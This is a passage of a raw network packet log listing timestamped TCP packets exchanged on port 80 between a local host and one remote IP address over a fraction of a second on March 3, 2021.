Mar 3, 2021 07:33:40.906681061 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.906681061 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.906703949 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.906703949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.906729937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.906732082 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.906783104 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.906856060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907051086 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907099962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907123089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907141924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907145023 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907161951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907185078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907192945 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907218933 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907737017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907757044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907773972 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907789946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907797098 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907809973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907830000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907845020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907845974 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907881021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907901049 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907907963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907932997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907952070 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.907953978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907974005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907989979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.907999039 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.908006907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908020020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908032894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908066034 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.908464909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908495903 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908521891 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908546925 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908550978 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.908592939 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908596039 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.908617973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908633947 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.908647060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908668041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.908710003 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.921575069 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.968821049 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968856096 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968873978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968890905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968905926 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968924999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968946934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968969107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.968967915 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.968992949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969017982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969026089 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969036102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969053030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969055891 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969070911 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969091892 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969091892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969110012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969130993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969140053 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969149113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969161034 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969167948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969183922 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969199896 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969199896 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969224930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969238997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969271898 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969507933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969536066 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969558001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969579935 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969594955 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969604969 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969626904 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969640017 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969651937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969674110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969679117 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969697952 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969716072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969728947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969743967 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969744921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969758987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969779968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969782114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.969795942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.969841003 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970288992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970335007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970359087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970367908 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970381975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970407963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970427990 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970431089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970452070 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970458984 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970484018 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970501900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970506907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970530987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970551968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970561028 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970575094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970601082 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970602036 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970623016 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970642090 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.970644951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970669985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.970688105 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.971210957 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.971303940 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973119020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973160028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973185062 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973211050 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973233938 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973253965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973256111 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973278046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973299980 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973303080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973325968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973347902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973356962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973371983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973404884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973419905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973445892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973464966 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973472118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973495007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973517895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973539114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973540068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973567963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973589897 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973592997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973613977 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973617077 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973640919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973656893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973673105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973680019 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973690987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973705053 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.973715067 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.973747015 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974000931 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974019051 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974035978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974052906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974071026 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974071026 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974092960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974103928 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974109888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974128008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974128962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974144936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974155903 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974162102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974179029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974195004 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974195957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974210978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974231958 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974241018 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974250078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974267960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974268913 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974294901 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.974934101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974958897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974975109 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.974992037 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975008965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975009918 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975027084 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975044012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975055933 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975059986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975083113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975086927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975111008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975131035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975150108 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975152969 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975174904 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975178003 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975198030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975217104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975234985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975238085 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975275040 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975866079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975888014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975903988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975923061 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975934982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.975944042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975965977 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975982904 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.975994110 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976001978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976020098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976023912 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976037025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976052046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976068974 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976078987 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976084948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976105928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976123095 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976124048 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976141930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976183891 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976814985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976838112 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976852894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976871014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976887941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976896048 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976903915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976922035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976932049 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976938009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976958036 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.976959944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976979017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.976995945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977011919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977021933 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977026939 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977042913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977058887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977077007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977077007 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977093935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977127075 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977705002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977727890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977745056 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977761984 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977780104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977782011 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977802038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977806091 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977823019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977833986 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977839947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977858067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977873087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977875948 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977890015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977905035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977921009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977925062 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977941036 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977952003 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.977958918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977976084 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.977983952 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978013992 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978657961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978687048 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978708029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978732109 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978743076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978755951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978766918 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978780985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978802919 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978806019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978831053 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978851080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978868961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978873968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978894949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978903055 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978919983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978940010 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978943110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978966951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.978976011 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.978988886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979010105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979032993 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979558945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979585886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979610920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979635954 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979648113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979674101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979695082 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979697943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979721069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979721069 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979746103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979768991 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979778051 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979794979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979815960 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979821920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979845047 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979865074 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979866028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979890108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979911089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979929924 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.979932070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.979980946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.980459929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980487108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980509996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980520964 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.980535030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980557919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980562925 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.980585098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980598927 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.980608940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.980633974 CET	80	49778	172.67.179.188	192.168.2.4
